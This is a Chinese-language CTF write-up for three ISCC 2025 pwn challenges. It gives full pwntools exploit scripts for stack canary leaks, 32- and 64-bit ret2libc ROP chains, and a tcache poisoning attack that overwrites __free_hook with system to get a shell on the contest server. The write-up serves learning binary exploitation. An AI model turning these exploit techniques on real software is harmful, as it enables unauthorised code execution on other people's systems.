ISCC2025练武pwn题wp

零、前言

一个字:史!还好我们队其他两位师傅发力了。

前期准备:

  • VMWare
  • Ubuntu 18(当初作者用Ubuntu24打被安全机制拦到道心破碎了)
    • python3.12
    • patchelf
    • pwndbg
  • VScode

具体教程:https://www.cnblogs.com/resea/p/18843529

第一题

考点是:泄漏金丝雀+32传参+泄漏libc基址

image

嗯,很简单干净,两次写入,一次输出,思路也很简单:

  1. 填充64垃圾字节
  2. 填充1字节金丝雀高位
  3. 接受金丝雀
  4. 泄漏libc

但是比较抽象的一点是:这题的金丝雀有效位是7位没给libc

先写上八股文:

from pwn import *

one_getshell: list[int] = [0x45216, 0x4526a, 0xf02a4, 0xf1147]

context.log_level = 'debug'
context.arch = 'i386'

# io = process('./attachment-7')
io = remote("101.200.155.151", 12400)
file = ELF("./pwn")
libc = ELF("libc6-i386_2.35-0ubuntu3.9_amd64.so")
# libc = ELF("./libc.so.6")

泄漏金丝雀相关:

io.recvuntil(b"name?")
io.send(b'a'*(0x4C-0xC) + b'g') #填充金丝雀高位,然后printf泄漏其余位置
io.recvuntil(b"g")
canary = u64(b'\x00' + io.recv(7)) #泄露金丝雀的固定写法了属于是
print("canary:", hex(canary))

泄漏libc相关(32位传参)

io.send(flat([
    cyclic(),               # 抵达溢出点
    p32(file.plt['puts']),  # main函数的返回地址
    0,                      # 劫持到函数的返回地址
    p32(file.got['puts']),  # 参数1
    0,                      # 参数2
])
io.recvuntil(b'password?')
io.send(flat([
    cyclic(0x4C-0xC),       # 填充至金丝雀前
    p64(canary),            # 加入金丝雀值
    cyclic(0x8),            # 填充至返回地址
    p32(file.plt['puts']),  # puts 函数的 PLT 地址
    p32(file.sym['main']),  # 再次返回 main,避免退出
    p32(file.got['puts']),  # puts 的 GOT 地址作为参数
]))

我在这里要本地调试确定的时候发现调不了一点,chmod +x了也总是显示:

image

然后ldd一看
image

哈吉yyh,你这家伙,为了出题居然用特定版本的ld吗,依次执行:

cp ./pwn ./attachment-7

find /usr/lib -name "ld-linux.so.2"

cp /usr/lib/i386-linux-gnu/ld-linux.so.2 ./

patchelf --set-interpreter /lib/ld-linux.so.2 ./attachment-7

ldd ./attachment-7

chmod +x ./attachment-7

修好就可以本地调试了

那我的libc呢?

可以通过泄漏libc中的真实地址后三位来寻找版本(随机化不会随机后三位)
image

分三次运行:

io.send(flat([
    cyclic(0x4C-0xC),       # 填充至金丝雀前
    p64(canary),            # 加入金丝雀值
    cyclic(0x8),            # 填充至返回地址
    p32(file.plt['puts']),  # puts 函数的 PLT 地址
    p32(file.sym['main']),  # 再次返回 main,避免退出
    p32(file.got['puts']), 
]))

io.send(flat([
    cyclic(0x4C-0xC),       # 填充至金丝雀前
    p64(canary),            # 加入金丝雀值
    cyclic(0x8),            # 填充至返回地址
    p32(file.plt['puts']),  # puts 函数的 PLT 地址
    p32(file.sym['main']),  # 再次返回 main,避免退出
    p32(file.got['read']),
]))

io.send(flat([
    cyclic(0x4C-0xC),       # 填充至金丝雀前
    p64(canary),            # 加入金丝雀值
    cyclic(0x8),            # 填充至返回地址
    p32(file.plt['puts']),  # puts 函数的 PLT 地址
    p32(file.sym['main']),  # 再次返回 main,避免退出
    p32(file.got['printf']),
]))

puts:

image

read:(偷懒不改提示了)

image

printf(一样)
image

把后三位输入到 https://libc.blukat.me/
image

两个下载下来填入进去发现libc6-i386_2.35-0ubuntu3.9_amd64.so符合要求

接下来就是常规的打libc

print(f"debug {io.recvn(2)}")  # 吃掉多余的回传字符,每个人好像都不太一样
puts_addr = u32(io.recvn(4))   # 32位函数只有4字节
print("puts_addr:", hex(puts_addr))

libc_base = puts_addr - libc.symbols['puts']  # 计算libc偏移
print("libc_base:", hex(libc_base))
libc.address = libc_base

io.recvuntil(b"name?")
io.send(b"1")


io.recvuntil(b'password?')
# gdb.attach(io)
io.send(flat([
    cyclic(0x4C-0xC),                        # 填充至金丝雀前
    p64(canary),                             # 加入金丝雀值
    cyclic(0x8),                             # 填充至返回地址
    p32(libc.symbols['system']),             # systeam 函数的地址
    0,                                       # systeam 返回地址
    p32(next(libc.search(b'/bin/sh\x00'))),  # puts 的 GOT 地址作为参数
]))
io.interactive()

完整exp:

from pwn import *

one_getshell: list[int] = [0x45216, 0x4526a, 0xf02a4, 0xf1147]

context.log_level = 'debug'
context.arch = 'i386'

# io = process('./attachment-7')
io = remote("101.200.155.151", 12400)
file = ELF("./pwn")
libc = ELF("libc6-i386_2.35-0ubuntu3.9_amd64.so")
# libc = ELF("./libc.so.6")

io.recvuntil(b"name?")
io.send(b'a'*(0x4C-0xC) + b'g')
io.recvuntil(b"g")
canary = u64(b'\x00' + io.recv(7)) #泄露金丝雀的固定写法了属于是
print("canary:", hex(canary))

read_ret = 0x8049273
io.recvuntil(b'password?')
io.send(flat([
    cyclic(0x4C-0xC),       # 填充至金丝雀前
    p64(canary),            # 加入金丝雀值
    cyclic(0x8),            # 填充至返回地址
    p32(file.plt['puts']),  # puts 函数的 PLT 地址
    p32(file.sym['main']),  # 再次返回 main,避免退出
    p32(file.got['puts']),  # puts 的 GOT 地址作为参数
]))

print(f"debug {io.recvn(2)}")
puts_addr = u32(io.recvn(4))
print("puts_addr:", hex(puts_addr))

libc_base = puts_addr - libc.symbols['puts']
print("libc_base:", hex(libc_base))
libc.address = libc_base

io.recvuntil(b"name?")
io.send(b"1")


io.recvuntil(b'password?')
# gdb.attach(io)
io.send(flat([
    cyclic(0x4C-0xC),                        # 填充至金丝雀前
    p64(canary),                             # 加入金丝雀值
    cyclic(0x8),                             # 填充至返回地址
    p32(libc.symbols['system']),             # systeam 函数的地址
    0,                                       # systeam 返回地址
    p32(next(libc.search(b'/bin/sh\x00'))),  # puts 的 GOT 地址作为参数
]))

io.interactive()

这题真史吧

第二题

第二题倒是给了动态库
image

image

fg表面上是在考堆,但是只要输入大小100字节,复用已free的堆块即可(注意看只要写入flag即可)

from pwn import *

# 设置日志级别和架构
context.log_level = 'debug'
context.arch = 'amd64'


# io = process(['./pwn8'], env={"LD_PRELOAD": "./pwn8.so"})

# io = process("./pwn8")  # 本地调试
# 连接远程目标
io = remote('101.200.155.151', 12200)  # 替换为你的远程信息

# 加载目标二进制和 libc 库
file = ELF("./pwn8")
libc = ELF("./pwn8.so")
# libc = ELF("./libc.so.6")  # 替换为你的 libc 库路径

# 第一步:利用堆漏洞,读取金丝雀值
io.recvuntil(b'size:')
io.sendline(b'100')  # 输入大小100字节,复用已free的堆块
io.recvuntil(b'flag:')
io.sendline(b'flag')  # 覆盖堆块内容

然后就是正常泄漏金丝雀+泄漏libc地址

io.recvuntil(b"ISCC")
io.send(b'a'*(0x20-0x8) + b'g')
io.recvuntil(b"g")
canary = u64(b'\x00' + io.recv(7))  # 读取金丝雀值
print(f"金丝雀: {hex(canary)}")

# 第二步:构造ROP链,触发puts泄露地址
pop_rdi_ret = 0x4014c3  # pop rdi; ret gadget 地址
puts_plt = file.plt['puts']  # puts 函数的 PLT 地址
puts_got = file.got['puts']  # puts 的 GOT 地址
main_func = file.sym['main']  # 返回 main 函数地址,确保程序继续执行

# 构造ROP链(64位传参)
payload = flat([
    cyclic(0x20-0x8),  # 填充至金丝雀前
    p64(canary),       # 加入金丝雀值
    cyclic(0x8),       # 填充至返回地址
    p64(pop_rdi_ret),  # pop rdi; ret gadget
    p64(puts_got),     # puts 的 GOT 地址作为参数
    p64(puts_plt),     # 调用 puts
    p64(main_func),    # 再次返回 main,避免退出
])
# gdb.attach(io)

# 发送payload
io.send(payload)
# sleep(1000)

# b = io.recvn(47)
b = io.recvuntil(b"nice to meet you")
b = io.recvuntil(b"Nice to meet you too!")
io.recv(1) # 吃掉垃圾字节
# 接收puts的泄露地址
a = io.recv(6).ljust(8, b'\x00')
print(f"DEBUG: {b}")
puts_addr = u64(a)  # 获取puts地址,并填充至8字节
print(f"DEBUG: {a}")
print(f"puts 地址: {hex(puts_addr)}")


# 计算 libc 基地址、
libc_base = puts_addr - libc.sym['puts']  # 计算 libc 基地址

print(f"libc 基地址: {hex(libc_base)}")
libc.address = libc_base  # 更新 libc 地址

接下来就是常规的ret2libc


# 触发下一阶段
io.recvuntil(b'ISCC')
io.send(b"1\x00")

# 接收更多信息
io.recvuntil(b"you")

# 获取 libc 中的系统调用和 /bin/sh 字符串地址
system = libc.sym['system']  # 计算 system 地址
bin_sh = next(libc.search(b'/bin/sh'))  # 计算 /bin/sh 地址
print(f"system 地址: {hex(system)}")
print(f"/bin/sh 地址: {hex(bin_sh)}")

pop_rsi_r15_ret = 0x4014c1

# 构造第二个ROP链
payload2 = flat([
    cyclic(0x20 - 0x8),  # 填充至金丝雀前
    p64(canary),         # 加入金丝雀值
    cyclic(0x8),         # 填充至返回地址
    libc.search(asm('pop rdi; ret;')).__next__() + 1,  # 即ret,平衡栈堆,不加会崩溃
    libc.search(asm('pop rdi; ret;')).__next__(),  # pop rdi; ret
    libc.search("/bin/sh").__next__(),
    libc.sym['system'],
])


# gdb.attach(io)
# 发送第二个payload,执行系统命令
io.send(payload2)
# sleep(1000)

# 最终交互,获得 shell
io.interactive()

别忘了用system前平衡栈堆(libc.search(asm('pop rdi; ret;')).__next__() + 1, # ret

exp:

from pwn import *

# 设置日志级别和架构
context.log_level = 'debug'
context.arch = 'amd64'


# io = process(['./pwn8'], env={"LD_PRELOAD": "./pwn8.so"})

# io = process("./pwn8")  # 本地调试
# 连接远程目标
io = remote('101.200.155.151', 12200)  # 替换为你的远程信息

# 加载目标二进制和 libc 库
file = ELF("./pwn8")
libc = ELF("./pwn8.so")
# libc = ELF("./libc.so.6")  # 替换为你的 libc 库路径

# 第一步:利用堆漏洞,读取金丝雀值
io.recvuntil(b'size:')
io.sendline(b'100')  # 输入大小100字节,复用已free的堆块
io.recvuntil(b'flag:')
io.sendline(b'flag')  # 覆盖堆块内容
io.recvuntil(b"ISCC")
io.send(b'a'*(0x20-0x8) + b'g')
io.recvuntil(b"g")
canary = u64(b'\x00' + io.recv(7))  # 读取金丝雀值
print(f"金丝雀: {hex(canary)}")

# 第二步:构造ROP链,触发puts泄露地址
pop_rdi_ret = 0x4014c3  # pop rdi; ret gadget 地址
puts_plt = file.plt['puts']  # puts 函数的 PLT 地址
puts_got = file.got['puts']  # puts 的 GOT 地址
main_func = file.sym['main']  # 返回 main 函数地址,确保程序继续执行

# 构造ROP链
payload = flat([
    cyclic(0x20-0x8),  # 填充至金丝雀前
    p64(canary),  # 加入金丝雀值
    cyclic(0x8),  # 填充至返回地址
    p64(pop_rdi_ret),  # pop rdi; ret gadget
    p64(puts_got),  # puts 的 GOT 地址作为参数
    p64(puts_plt),  # 调用 puts
    p64(main_func),  # 再次返回 main,避免退出
])

# gdb.attach(io)


# 发送payload
io.send(payload)
# sleep(1000)

# b = io.recvn(47)
b = io.recvuntil(b"nice to meet you")
b = io.recvuntil(b"Nice to meet you too!")
io.recv(1)
# 接收puts的泄露地址
a = io.recv(6).ljust(8, b'\x00')
print(f"DEBUG: {b}")
puts_addr = u64(a)  # 获取puts地址,并填充至8字节
print(f"DEBUG: {a}")
print(f"puts 地址: {hex(puts_addr)}")


# 计算 libc 基地址、
libc_base = puts_addr - libc.sym['puts']  # 计算 libc 基地址

print(f"libc 基地址: {hex(libc_base)}")
libc.address = libc_base  # 更新 libc 地址

# 触发下一阶段
io.recvuntil(b'ISCC')
io.send(b"1\x00")

# 接收更多信息
io.recvuntil(b"you")

# 获取 libc 中的系统调用和 /bin/sh 字符串地址
system = libc.sym['system']  # 计算 system 地址
bin_sh = next(libc.search(b'/bin/sh'))  # 计算 /bin/sh 地址
print(f"system 地址: {hex(system)}")
print(f"/bin/sh 地址: {hex(bin_sh)}")

pop_rsi_r15_ret = 0x4014c1

# 构造第二个ROP链
payload2 = flat([
    cyclic(0x20 - 0x8),  # 填充至金丝雀前
    p64(canary),         # 加入金丝雀值
    cyclic(0x8),         # 填充至返回地址
    libc.search(asm('pop rdi; ret;')).__next__() + 1,  # pop rdi; ret
    libc.search(asm('pop rdi; ret;')).__next__(),  # pop rdi; ret
    libc.search("/bin/sh").__next__(),
    libc.sym['system'],
])


# gdb.attach(io)
# 发送第二个payload,执行系统命令
io.send(payload2)
# sleep(1000)

# 最终交互,获得 shell
io.interactive()

反而简单

第三题

本体考堆攻击
image

经典菜单题,写出菜单函数(这里已经重命名)

from pwn import *

one_getshell: list[int] = [0x45216, 0x4526a, 0xf02a4, 0xf1147]

context.log_level = 'debug'
context.arch = 'amd64'

# io = process('./pwn')
io = remote("101.200.155.151", 12700)
file = ELF("./pwn")
libc = ELF("attachment-13.6")
# libc = ELF("./libc.so.6")

def debug():
    gdb.attach(io)
    input()

def canary(_str:str):
    io.recvuntil(_str.encode())
    io.send(b'a'*(0x4C-0xC) + b'g') #填充金丝雀高位,然后printf泄漏其余位置
    io.recvuntil(b"g")
    canary = u64(b'\x00' + io.recv(7)) #泄露金丝雀的固定写法了属于是
    print("canary:", hex(canary))
    return canary

def get():
    return u64(io.recv(6).ljust(8, b'\x00'))

def add(index:int,size: int):
    io.recvuntil(b"choice:")
    io.send(b'1')
    io.recvuntil(b"coordinate:")
    io.send(str(index).encode())
    io.recvuntil(b"required:")
    io.send(str(size).encode())


def free(index: int):
    io.recvuntil(b"choice:")
    io.send(b'2')
    io.recvuntil(b"cleanse:")
    io.send(str(index).encode())


def edit(index: int, content: bytes):
    io.recvuntil(b"choice:")
    io.send(b'3')
    io.recvuntil(b"inscription:")
    io.send(str(index).encode())
    io.recvuntil(b'length:')
    io.send(str(len(content)).encode())
    io.recvuntil(b"truth:")
    io.send(content)


def down(index: int):
    io.recvuntil(b"choice:")
    io.send(b'4')
    io.recvuntil(b"truth:")
    io.send(str(index).encode())


def exit():
    io.recvuntil(b"choice:")
    io.send(b'5')

分析题目:

1. add

image

检查输入是否>=6,分配内存,可以重复使用同一个位置

2. free_buf

image

检查输入是否>=6,释放内存,释放后没有置空

3. edit

image

检查输入是否>=6,问写入大小,想写多少写多少

4. print

image

检查输入是否>=6,打印出来

5. exit

image

利用方法:因为题目没有检查一个堆块有没有被释放,也没有置空指针,可以方便干活。

前置知识:

image

第一步:申请两个堆块

add(0,0x600)
add(1,0x20) # 防止合并
free(0) # 释放进入unsortedbin,让堆上fd和bk指向 malloc_hook - (0xc30 - 0xca0)处
add(0,0x600) # 再次拿回来,保证内存连续
'''
获取fd
'''
down(0)

print(f"DEBUG{io.recvn(1)}")
fd_leak = u64(io.recvn(6).ljust(8, b'\x00'))
print(f"fd_leak: {hex(fd_leak)}")
# debug()

此时进调试器看看,会发现:
image

image

此时__malloc_hookfd_leak 相差了(0xc30 - 0xca0)

这样就泄漏了真实地址

malloc_hook = fd_leak + (0xc30 - 0xca0)
print(f"malloc_hook: {hex(malloc_hook)}")
libc.address = malloc_hook - libc.sym['__malloc_hook']

# debug()
fake_chunk_addr = libc.sym['__malloc_hook'] - 0x23  # 0xf7

# 获取偏移

接下来我们就要打__free_hook,因为free()内容我们可以掌握,打不动再打one_getshell

三种打法:

  1. tcachebins
  2. fastbins (要求填满tcachebins)
  3. unsortedbin

因为位置限制是7个(0-6),正好是填满tcachebins数字,所以打不了fastbins,先试试看打tcachebins

目标是打free() => system("/bin/sh\x00"),先准备好/bin/sh\x00

add(2,0x20) 
payload = flat([
    b"/bin/sh\x00",
])
# debug()
edit(2,payload) # 写入/bin/sh\x00
add(0,0x20)
add(1,0x20)
free(0)
free(1) #释放两个进入tcachebins

image

可以看到释放的两个已经进入了tcachebins,接下来修改fd

payload = flat([
    p64(libc.sym['__free_hook']),   # __free_hook位置
    b"A"*0x18,                      # 用于调试定位块,忽略
])

edit(1,payload)                     # 写入fd
# debug()
add(3,0x20)                         # 申请本体
debug()
add(4,0x20)                         # 申请__free_hook
# debug()

第一次add前
image

第一次add后
image

覆写 __free_hooksystem

payload = flat([
    p64(libc.sym['system']),
])
edit(4,payload)
free(2)                           #触发 free("/bin/sh") => syystem("/bin/sh")
io.interactive()

完整exp:

from pwn import *

one_getshell: list[int] = [0x45216, 0x4526a, 0xf02a4, 0xf1147]

context.log_level = 'debug'
context.arch = 'amd64'

io = process('./pwn')
# io = remote("101.200.155.151", 12700)
file = ELF("./pwn")
libc = ELF("attachment-13.6")
# libc = ELF("./libc.so.6")

def debug():
    gdb.attach(io)
    input()

def canary(_str:str):
    io.recvuntil(_str.encode())
    io.send(b'a'*(0x4C-0xC) + b'g') #填充金丝雀高位,然后printf泄漏其余位置
    io.recvuntil(b"g")
    canary = u64(b'\x00' + io.recv(7)) #泄露金丝雀的固定写法了属于是
    print("canary:", hex(canary))
    return canary

def get():
    return u64(io.recv(6).ljust(8, b'\x00'))

def add(index:int,size: int):
    io.recvuntil(b"choice:")
    io.send(b'1')
    io.recvuntil(b"coordinate:")
    io.send(str(index).encode())
    io.recvuntil(b"required:")
    io.send(str(size).encode())


def free(index: int):
    io.recvuntil(b"choice:")
    io.send(b'2')
    io.recvuntil(b"cleanse:")
    io.send(str(index).encode())


def edit(index: int, content: bytes):
    io.recvuntil(b"choice:")
    io.send(b'3')
    io.recvuntil(b"inscription:")
    io.send(str(index).encode())
    io.recvuntil(b'length:')
    io.send(str(len(content)).encode())
    io.recvuntil(b"truth:")
    io.send(content)


def down(index: int):
    io.recvuntil(b"choice:")
    io.send(b'4')
    io.recvuntil(b"truth:")
    io.send(str(index).encode())


def exit():
    io.recvuntil(b"choice:")
    io.send(b'5')


add(0,0x600)
add(1,0x20)
free(0)
add(0,0x600)
'''
获取fd
'''
down(0)

print(f"DEBUG{io.recvn(1)}")
fd_leak = u64(io.recvn(6).ljust(8, b'\x00'))
print(f"fd_leak: {hex(fd_leak)}")
# debug()

malloc_hook = fd_leak + (0xc30 - 0xca0)
print(f"malloc_hook: {hex(malloc_hook)}")
libc.address = malloc_hook - libc.sym['__malloc_hook']

# debug()
fake_chunk_addr = libc.sym['__malloc_hook'] - 0x23  # 0xf7

# 获取偏移


add(2,0x20)
payload = flat([
    b"/bin/sh\x00",
])
# debug()
edit(2,payload)
add(0,0x20)
add(1,0x20)
free(0)
free(1)
# debug()
payload = flat([
    p64(libc.sym['__free_hook']),
    b"A"*0x18,
])

edit(1,payload)
debug()
add(3,0x20)
# debug()
add(4,0x20)
# debug()
payload = flat([
    p64(libc.sym['system']),
])
edit(4,payload)
# debug()
free(2)
# debug()
io.interactive()



# debug()
# add(3,0x600)
# debug()
'''                                                                          
┌──(.venv)─(ubuntu㉿ubuntu)-[~/文档/attachment-13]
└─$ one_gadget '/home/ubuntu/文档/attachment-13/attachment-13.6'
0x4f29e execve("/bin/sh", rsp+0x40, environ)
constraints:
  address rsp+0x50 is writable
  rsp & 0xf == 0
  rcx == NULL || {rcx, "-c", r12, NULL} is a valid argv

0x4f2a5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  address rsp+0x50 is writable
  rsp & 0xf == 0
  rcx == NULL || {rcx, rax, r12, NULL} is a valid argv

0x4f302 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL || {[rsp+0x40], [rsp+0x48], [rsp+0x50], [rsp+0x58], ...} is a valid argv

0x10a2fc execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL || {[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...} is a valid argv
                                                                                              
'''

怎么说呢,功力不足不好评价,但是第一题真的史👈(⌒▽⌒)👉

posted @ 2025-05-06 20:50  归海言诺  阅读(751)  评论(1)    收藏  举报